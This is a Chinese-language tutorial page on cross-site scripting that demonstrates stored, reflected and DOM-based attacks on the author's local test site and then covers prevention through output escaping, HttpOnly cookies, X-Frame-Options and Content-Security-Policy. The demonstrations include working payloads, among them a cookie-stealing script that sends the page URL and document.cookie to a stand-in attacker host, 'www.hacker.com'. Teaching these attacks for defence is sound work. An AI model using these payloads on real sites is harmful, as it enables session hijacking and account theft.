位置: IT常识 - 正文
跨站脚本攻击（XSS）(跨站脚本攻击是什么)
编辑：rootadmin推荐整理分享跨站脚本攻击（XSS）(跨站脚本攻击是什么)，希望有所帮助，仅作参考，欢迎阅读内容。
文章相关热门搜索词:如何防范跨站脚本攻击,跨站脚本攻击是主动攻击还是被动攻击,如何防范跨站脚本攻击,跨站脚本攻击xss的根本原因,防止跨站脚本攻击,防止跨站脚本攻击,如何防范跨站脚本攻击,跨站脚本攻击xss的根本原因,内容如对您有帮助，希望把文章链接给更多的朋友！
XSS ：Cross Site Scripting，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。在一开始的时候，这种攻击的演示案例是跨域的，所以叫"跨站脚本"。但是发展到今天，由于JavaScript的强大功能基于网站前端应用的复杂化，是否跨域已经不再重要。但是由于历史原因，XSS这个名字一直保留下来。XSS长期以来被列为客户端Web安全中的头号大敌。因为XSS破坏力强大，且产生的场景复杂，难以一次性解决。现在业内达成的共识是：针对各种不同场景产生的XSS，需要区分情景对待。
攻击原理：
XSS的原理是WEB应用程序混淆了用户提交的数据和JS脚本的代码边界，导致浏览器把用户的输入当成了JS代码来执行。
XSS攻击演示：
（1）通过页面插入留言信息
<body> <form action="/lm/add" method="post"> <input name="content"/> <input type="submit" value="留言"/> </form></body>（2）页面展示
<body> <table> <thead> <th>序号</th> <th>留言</th> <th>时间</th> </thead> <tbody> <tr th:each="lm,stat:${list}"> <td th:text="${lm['id']}"> </td> <td th:utext="${lm['content']}"> </td> <td th:text="${lm['date']}"> </td> </tr> </tbody> </table></body>（3）测试
留言：http://www.edu.com/storexss.html 查看：http://www.edu.com/admin/main
注：这里的网站是我自己运行的本地服务器，只不过是修改了host文件，将localhost改为此域名，后端执行逻辑省略。
正常：
窗前明月光，我是郭德纲
<!--恶意脚本植入--><script>alert('hey!you are attacked');</script><!--劫持流量实现恶意跳转--><script>window.location.href='http://www.baidu.com'</script><img src="a.jpg" onerror="alert('Attack')"/>数据和代码分离原则，你期望用户输入的数据，而攻击者输入的是代码。
2、XSS攻击存储型XSS反射型XSSDOM型XSS存储型XSS存储型XSS，也就是持久型XSS。攻击者上传的包含恶意JS脚本的信息被Web应用程序保存到数据库中，Web应用程序在生成新的页面的时候如果包含了该恶意JS脚本，这样会导致所有访问该网页的浏览器解析执行该恶意脚本。这种攻击类型一般常见在博客、论坛等网站中。
存储型是最危险的一种跨站脚本，比反射性XSS和Dom型XSS都更有隐蔽性。 因为它不需要用户手动触发，任何允许用户存储数据的web程序都可能存在存储型XSS漏洞。 若某个页面遭受存储型XSS攻击，所有访问该页面的用户会被XSS攻击。
攻击步骤：
攻击者把恶意代码提交到目标网站的数据库中用户打开目标网站，网站服务端把恶意代码从数据库中取出，拼接在HTML上返回给用户用户浏览器接收到响应解析执行，混在其中的恶意代码也被执行恶意代码窃取用户敏感数据发送给攻击者，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作存储型 XSS(又被称为持久性XSS)攻击常见于带有用户保存数据的网站功能，如论坛发帖、商品评论、用户私信、留言等功能。
（1）简单攻击：
测试路径：http://www.edu.com/storexss.html
<script>alert('hello');</script>（2）获取cookie信息：
登录窗口：http://www.edu.com/storexss.html
<script>alert(document.cookie)</script>（3）黑客窃取cookie：
用户窃取cookie，具体实现就是将用户的cookie值发送到黑客工具箱，那么就需要将窃取用户cookie的js植入到系统中。考虑到窃取用户的js脚本过长不宜直接编写脚本植入，可以通过外部脚本的方式实现。
http://www.hacker.com 127.0.0.1 http://www.edu.com 127.0.0.1 （注：这些域名都是我修改本地localhost域名，它们是我自己搭建的本地服务器）
<script src="http://www.hacker.com/script/hacker.js"></script>窃取失败：
Access to XMLHttpRequest at 'http://www.hacker.com/s?c=url:http://www.edu.com/lm/query%20cookie:JSESSIONID=6756A3597BDC58B29A BF7806F4B533AD' from origin 'http://www.edu.com' has been blocked byCORS policy: No 'Access-Control-Allow-Origin' header is present on therequested resource.
（4）绕过浏览器同源策略：
图片可以加载外部的数据源
(function () { (new Image()).src = 'http://www.hacker.com/h?c=' + escape("url=" + document.location.href) + escape('&cookie=' + document.cookie);})();<script src="http://www.hacker.com/script/hacker2.js"></script>访问：http://www.hacker.com/g
（5）通过cookie入侵
反射型XSS反射型XSS，又称非持久型XSS，恶意代码并没有保存在目标网站，而是通过引诱用户点击一个恶意链接来实施攻击。这类恶意链接有哪些特征呢？
主要有：
恶意脚本附加到 url 中，只有点击此链接才会引起攻击不具备持久性，即只要不通过这个特定 url 访问，就不会有问题xss漏洞一般发生于与用户交互的地方演示连接：http://www.edu.com/reflectxss?reflectxss=
（1）正常处理
http://www.edu.com/reflectxss?reflectxss=lagou
（2）脚本入侵
http://www.edu.com/reflectxss?reflectxss=<script>alert('lagou')</script>
（3）获取cookie
<!--如果已经登录-->http://www.edu.com/reflectxss?reflectxss=<script>alert(document.cookie)</script>
（4）构造DOM
http://www.edu.com/reflectxss?reflectxss=<input type="button" value="登录"/>
DOM型XSSDOM（Document Object Model），DOM型XSS其实是一种特殊类型的反射型XSS（不存储），它是基于DOM文档对象模型的一种漏洞，而且不需要与服务器进行交互（不处理）。
客户端的脚本程序可以通过DOM来动态修改页面内容，从客户端获取DOM中的数据并在本地执行。基于这个特性，就可以利用JS脚本来实现XSS漏洞的利用。
演示连接：http://www.edu.com/domxss.html?domxss=paramvalue
（1）正常处理
http://www.edu.com/domxss.html?domxss=lagou
（2）脚本入侵，未遂
http://www.edu.com/domxss.html?domxss=<script>alert('lagou')</script>
使用innerHTML获得的JS代码是不能被执行的，JS只有在页面初次加载的时候才有效
（3）构造DOM
http://www.edu.com/domxss.html?domxss=<input type="button" value="登录"/>
（4）构造DOM
http://www.edu.com/domxss.html?domxss=<input type="button" value="登录" onClick="alert(document.cookie)"/>
（5）利用img标签
http://www.edu.com/domxss.html?domxss=<img src='http://www.hacker.com/attack.jpg' οnerrοr='alert(110)'/>
3、植入JS代码攻击及危害分析外在表现形式：
直接注入JavaScript代码引用外部JS文件基本实现原理：
通过img标签的src发送数据构造表单诱导用户输入账密构造隐藏的form表单自动提交页面强制跳转植入文字链接、图片链接潜在危害：
获取管理员或者其他用户Cookie，冒充身份登录构造表单诱导用户输入账号、密码，获取账密跳转到其他网站，网站流量被窃取植入广告、外链等通过隐藏友链提升其他网站百度权重（SEO黑帽）4、植入HTML代码攻击及危害分析外在表现形式：
构造img标签构造a标签构造iframe构造其他HTML标签基本实现原理：
通过img标签的src发送数据通过img的onerror触发脚本代码通过a标签被动触发脚本代码 href/onclick通过iframe引入第三方页面直接构造文字链接或图片链接潜在危害：
获取管理员或者其他用户Cookie，冒充身份登录构造表单诱导用户输入账号、密码，获取账密植入广告、外链等通过隐藏友链提升其他网站百度权重（SEO黑帽）5、XSS漏洞预防策略XSS攻击能够实现的主要原因：对用户的输入进行了原样的输出。
输入环节：页面限制输入长度、特殊字符限制，后端代码限制输入长度、处理特殊字符，Filter过滤器统一处理（自定义处理规则、使用apache commons text、使用 owasp AntiSamy）注意：尽量不要使用自定义处理规则，因为因为有些情况我们可能考虑不到，尽量使用第三方，成熟工具包。
当然了如果你有钞能力，使用阿里云防火墙，是一个完美的选择。
开发人员来说，在后台执行用户录入数据长度的判断，特殊字符的专业通常会定义在流量官网部分。
Cookie防护：
通过植入的JS脚本获得用户的cookie，获得用户权限。cookie设置httponly，一般servlet容器默认httpOnly true。
在流量网关中统一做处理：
resp.setHeader("SET-COOKIE", "JSESSIONID=" +request.getSession().getId()+ "; HttpOnly")X-Frame-Options 响应头 （是否允许frame、iframe等标记)：
iframe允许加载外部的网页，也可以自己作为外部网页被加载，同时是可以被隐藏。
是否允许用户去使用iframe，指定iframe加载的网页地址。
DENY 不允许、SAMEORIGIN 可在相同域名页面的 iframe 中展示、ALLOWFROM uri 可在指定页的 frame 中展示。
add_header X-Frame-Options SAMEORIGIN; //在nginx的http或server节点中配置
// 也可通过filter设置resp.setHeader("x-frame-options","SAMEORIGIN");输出环节：OWASP ESAPI for Java
显示时对字符进行转义处理，各种模板都有相关语法，注意标签的正确使用。通常情况下前端框架或者对应的模板引擎都将转义设置为默认。
thymeleaf：
<!--非转义输出,原样输出--><td style="background:#FFF; padding: 3px;"th:utext="${item.content}"></td><!--转义输出--><td style="background:#FFF; padding: 3px;"th:text="${item.content}"></td>JSP
<!--默认true,进行转义--><c:out value=" ${ content }" escapeXml="false" /><c:outvalue=" ${ content }"/>DOM型XSS:
避免 .innerHTML、.outerHTML、document.write()，应使用.textContent、.setAttribute() 等。 尤其注意onclick、onerror、onload、onmouseover 、eval()、setTimeout()、setInterval() 以及的 href
富文本处理：
在过滤富文本时，“事件”应该被严格禁止，因为富文本的展示需求里不应该包括“事件”这种动态效果。危险的标签，比如<iframe>、<script>、<base>、<from>等，也是应该严格禁止的。在标签的选择上，应该使用白名单，避免使用黑名单。比如，只允许<a>、<img>、<div>等比较安全的“标签”存在。富文本过滤中，处理CSS是一件比较麻烦的事情，如果允许用户自定义CSS、则也可能导致XSS攻击。比如尽可能的禁止用户自定义CSS与Style。有些比较成熟的开源项目，实现了对富文本的XSS检查。Anti-Samy是OWASP上的一个开源项目，也是目前最好的XSS Filter。
6、内容安全策略（CSP）内容安全策略 (CSP ：Content-Security-Policy ）是一个额外的安全层，用于检测并削弱某些特定类型的攻击，包括跨站脚本 (XSS) 和数据注入攻击等。
核心思想：网站通过发送一个 CSP 头部，来告诉浏览器什么是被授权执行的与什么是需要被禁止的，被誉为专门为解决XSS攻击而生的神器。
简介：XSS 攻击利用了浏览器对于从服务器所获取的内容的信任。恶意脚本在受害者的浏览器中得以运行，因为浏览器信任其内容来源，即使有的时候这些脚本并非来自于它本该来的地方。
CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。
一个CSP兼容的浏览器将会仅执行从白名单域获取到的脚本文件，忽略所有的其他脚本 (包括内联脚本和HTML的事件处理属性)。
CSP的分类：（1）Content-Security-Policy
配置好并启用后，不符合 CSP 的外部资源就会被阻止加载。
（2）Content-Security-Policy-Report-Only
表示不执行限制选项，只是记录违反限制的行为。它必须与report-uri 选项配合使用。
CSP的使用：（1）在HTTP Header上使用（首选） 可以在网关的Filter中配置或者在Nginx服务器配置
"Content-Security-Policy:" 策略 "Content-Security-Policy-Report-Only:" 策略
Nginx配置方式
add_Header Content -Security-Policy : 策略
（2）在HTML上使用
<meta http-equiv="content-security-policy" content="策略"> <meta http-equiv="content-security-policy-report-only" content="策略">
如果Content-Security-Policy-Report-Only 头部和 Content-Security-Policy 同时出现在一个响应中，两个策略均有效。在Content-Security-Policy 头部中指定的策略有强制性 ，而Content-Security-Policy-Report-Only 中的策略仅产生报告而不具有强制性。支持CSP的浏览器将始终对于每个企图违反你所建立的策略都发送违规报告，如果策略里包含一个有效的reporturi指令。
使用案例开启CSP方法：
<!--设置 HTTP 的头部字段--><!--加载css、js-->response.setHeader("Content-Security-Policy","default-src http: https:");<!--设置网页的<meta>标签--><meta http-equiv="Content-Security-Policy" content="formaction 'self';">限制所有的外部资源，都只能从当前域名加载，不包含子域名
Content-Security-Policy: default-src 'self'限制所有的外部资源，都只能从当前域名及其子域名加载
Content-Security-Policy: default-src 'self' *.lagou.com图片可以从任何地方加载(注意 "*" 通配符)。
多媒体文件仅允许从 media1.com 和 media2.com 加载(不允许从这些站点的子域名)。
可运行脚本仅允许来自于scripts.lagou.com。
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src scripts.lagou.com服务器仅允许通过HTTPS方式并仅从onlinebanking.abc.com域名来访问文档（线上银行网站）
Content-Security-Policy: default-src https://onlinebanking.abc.com启用违例报告：默认情况下，违规报告并不会发送。为启用发送违规报告，你需要指定report-uri 策略指令，并提供至少一个URI地址去递交报告：
Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi然后你需要设置你的服务器能够接收报告，使其能够以你认为恰当的方式存储并处理这些报告。
违例报告样本：我们假设页面位于 http://example.com/signup.html。它使用如下策略，该策略禁止任何资源的加载，除了来自cdn.example.com的样式表。
Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
signup.html 的HTML像这样：
<!DOCTYPE html><html> <head> <title>Sign Up</title> <link rel="stylesheet" href="css/style.css"> </head> <body> ... Content ... </body></html>你能看出其中错误吗？样式表仅允许加载自cdn.example.com， 然而该页面企图从自己的源 ( http://example.com )加载。当该文档被访问时，一个兼容CSP的浏览器将以POST请求的形式发送违规报告到 http://example.com/_/cspreports，内容如下：
{ "csp-report": { "document-uri": "http://example.com/signup.html", <!--访问的网页资源--> "referrer": "", "blocked-uri": "http://example.com/css/style.css", <!--违规资源的路径--> "violated-directive": "style-src cdn.example.com", "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports" }}blocked-uri字段中包含了违规资源的完整路径
浏览器兼容性： 7、XSS漏洞扫描常见的扫描工具有： Safe3WVS，Burp Suite ，AWVS，AppScan，W3af，Arachni，Acunetix等
下一篇：来自二阳人的一些感想(二阳来临)
